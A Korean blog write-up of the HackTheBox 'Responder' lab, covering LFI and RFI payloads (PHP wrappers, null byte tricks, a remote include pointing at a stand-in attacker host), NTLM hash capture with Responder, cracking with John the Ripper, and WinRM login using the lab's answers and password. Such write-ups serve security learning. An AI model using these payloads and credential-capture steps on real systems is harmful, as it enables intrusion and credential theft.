[Tier1] Responder (LFI, RFI, NTLM)
2026. 4. 4. 21:44

Task

  • When visiting the web service using the IP address, what is the domain that we are being redirected to?
    • unika.htb
  • Which scripting language is being used on the server to generate webpages?
    • php
  • What is the name of the URL parameter which is used to load different language versions of the webpage?
    • page
  • Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
    • ../../../../../../../../windows/system32/drivers/etc/hosts
  • Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
  • What does NTLM stand for?
    • New Technology Lan Manager
  • Which flag do we use in the Responder utility to specify the network interface?
    • -I
  • There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
    • John The Ripper
  • What is the password for the administrator user?
    • badminton
  • We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
    • 5985

Local File Include (LFI) vulnerability

https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion

include에 전달되는 경로가 제대로 검증되질않을때 발생하므로, 블랙박스 테스트 방식에서는 파일이름을 매개변수로 받는 스크립트를 찾아야한다.

리눅스에서는 http://vulnerable_host/preview.php?file=../../../../etc/passwd 와같이 passwd파일을 블러오는 방법이 있을 수 있다. <?php include($_GET['file'].".php"); ?> 를 보면 단순히 임의 파일 이름을 바꾸는 것만으로 작동하지않는다. .php 가 추가되기때문이다. 이를 우회하기위해 여러 방법을 사용하여 예상 취약점을 악용할 수 있다.

Null Byte Injection

null char은 컨트롤 char로 str의 끝을 나타내는 예약된 char로 이 바이트가 끝난 뒤에 나오는 내용들이 무시가되는 경향이있다. URL에서는 %00 로 주로 사용하고 이게 나오면 위에서 말한 .php이런걸 무시할 수 있다.

Path and Dot Truncation

php에서 4096 bytes 이상의 파일명은 출력할 수 없기때매 넘어서는건 잘려나온다. 따라서 이걸 이용해서 .php 여기부분을 우회할 수도 있다.

PHP Wrappers

보통은 민감 데이터 read에 사용되지만 LFI+PHPwrapper을 결합할 수 있을 때 원격 코드 실행으로 악용될 수도 있다. 아래는 주로 발생하는 예시들이다.

  • PHP Filter(php://filter)
    • 파일이 실행되지않게 막으면서 내용만 가져올 수 있으며, 원래 php 파일은 서버에서 실행되어 결과값만 보여주지만 php 소스코드 원본을 읽을 수 있다.
    • php://filter/convert.base64-encode/resource=파일경로 로 파일 내용을 base64 인코딩하여 출력되므로 공격자는 이를 디코딩하여 민감정보를 확인할 수 있다.
  • PHP ZIP(zip://)
    • 압축파일안에 숨겨진 파일을 실행시킬 수 있으며, 파일업로드+LFI 결합시 가능
    1. <?php phpinfo(); ?> 같은 악성 코드가 담긴 code.php를 만든다.
    2. target.zip으로 압축한 뒤, 보안 검사를 피하기 위해 target.jpg로 이름을 바꾼다.
    3. 게시판에 올리고 LFI 취약점을 사용하여 zip://../경로/target.jpg#code 로 호출한다. (URL에서는 # 대신 %23)
  • PHP Data(data://)
    • 파일을 서버에 올릴 필요없이 URL 입력값에 직접 실행코드를 포함시킨다.
    • 서버 설정에서 allow_url_include 옵션이 켜져있는 경우
    • data://text/plain;base64,[Base64로 인코딩된 코드] 로 사용할 수 있으며 <?php phpinfo(); ?> 이런걸 인코딩한 값을 넣으면 바로 실행된다.
  • PHP Expect(expect://)
    • expect://ls 나 expect://whoami 이렇게 리눅스 터미널에 명령어 치는 것 같이 가능.

https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion

Remote File Inclusion (RFI)

$incfile = $_REQUEST["file"];
include($incfile.".php");

이렇게 include하는걸 컨트롤할 수 있다면, http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page 이런식으로 보내서 원격 파일을 include하고, 그 안에 포함된 코드는 서버에서 실행되게된다.

NTLM 인증 프로세스

Windows 서버가 SMB에 접속할 때, 서로 누구인 지를 확인하는 과정으로 서버는 사용자의 이름과 사용자의 암호해시로 암호화한 값을 받을 수 있다.

  • NTHash (NTLM Hash) 윈도우 시스템 내부에 저장된 실제 비밀번호 해시값
  • NetNTLMv2 : 네트워크 인증 중에 생성되는 Challenge와 Response가 결합된 데이터

Responder

네트워크에서 가짜 SMB 서버 역할을 함. Responder가 Challenge를 사용자에게 주고 타겟이 보내온 암호화된 Response를 낚아채 NetNTLMv2 형태로 출력한다.

이를 이용해서 공격자는 사용자의 암호해시를 유추할 수 있다.

Write Up

nmap 으로 scan하기

찾아보니 DNS문제라고한다.

unika.htb 로의 redirect에 실패했다는 것 같음.

그럼? unika.htb를 리눅스 로컬네임서버에 IP:PORT로 등록해주면 됨.

→ /etc/hosts 를 수정해주면됨!

sudo vi /etc/hosts 로 수정해주었다.

성공적으로 웹을 불러왔으니, task에서 말하는대로 언어를 변경해보겠다.

 

`?page=값`

즉, page 파라미터를 이용한다는 것을 확인했다. 대충 아무거나 넣어보겠다.

대충 `C:\xampp\php\PEAR` 을 불러오는 것 같다. 라는 생각이 들었다.

즉, ../을 하면 C:/xampp/ 에 접근할 수 있다.

../../Windows/System32/drivers/etc/hosts 하면 해당 경로에 도착할 수 있는 것이다. (사실 최상위 경로로 가는게 목적이니까 ../../../ 여러번 넣어도되긴하다.)

리버스쉘같은거 붙여서 하는거 같은데 잘 모르겠어서 공식 롸업을 참고했다.

`git clone <https://github.com/lgandx/Responder>` 를 사용했다.

PHP 설정(`allow_url_include`)이 꺼져 있어도, Windows는 SMB(파일 공유) 프로토콜을 통한 원격 파일 접근을 허용한다. smb서버를 활성화시켜주고 ifconfig로 listen 할 네트워크 인터페이스를 확인한다.

sudo python3 Responder.py -I tun0 하면 tun0 네트워크 인터페이스에서 listen하는 것을 확인할 수 있다.

일단 내 smb server에 웹쉘을 올려둔다.

`//10.10.15.254/` 을 파라미터 인자로 주면? 아래와같이 나타나는 것을 확인할 수 있다.

해시부분을에 대해 존더리퍼를 사용해서 크랙킹해주면 좋을 듯하다.

wordlist는 rockyou.txt.gz 저걸 압축해제해서 사용하면 좋다.

`sudo gzip -d rockyou.txt.gz`

`john -w=/usr/share/wordlists/rockyou.txt hash.txt`

badminton 이라는것을 찾을 수 있었다.

이제 윈도우서비스를 사용해서 원격으로 내 Responder로 접속하게 해보기위해 아까 찾아놨던 Windows 원격 관리 서비스 5985 포트를 사용해보겠다.

WinRM 자체는 시스템 관리나 데브옵스에 이용되기 때문에 공격자들 또한 시드어드민처럼 윈도우 기능을 이용해 원격 호스트에 접근할 수 있다.

PowerShell로 문제를 풀려고했지만, 윈도우 의존성 문제가 존재하기때문에 리눅스 사용자는 evil-winrm 라는 도구를 사용하는 것이 좋다.

`evil-winrm -i 10.129.13.190 -u Administrator -p 'badminton'`

C:\Users\ 에 mike라는 사용자가 있어서 확인해봤는데, flag가 존재했다.

플래그를 확인할 수 있었다.

'HackTheBox' 카테고리의 다른 글

[Tier1] Ignition (Most common passwords)  (0) 2026.04.04
[Tier1] Three (wfuzz, s3, php web shell)  (0) 2026.04.04
[Tier1] Crocodile (gobuster)  (0) 2026.04.04
[Tier1] Sequel (MariaDB)  (0) 2026.04.04
[Tier1] Appointment (SQLi)  (0) 2026.04.04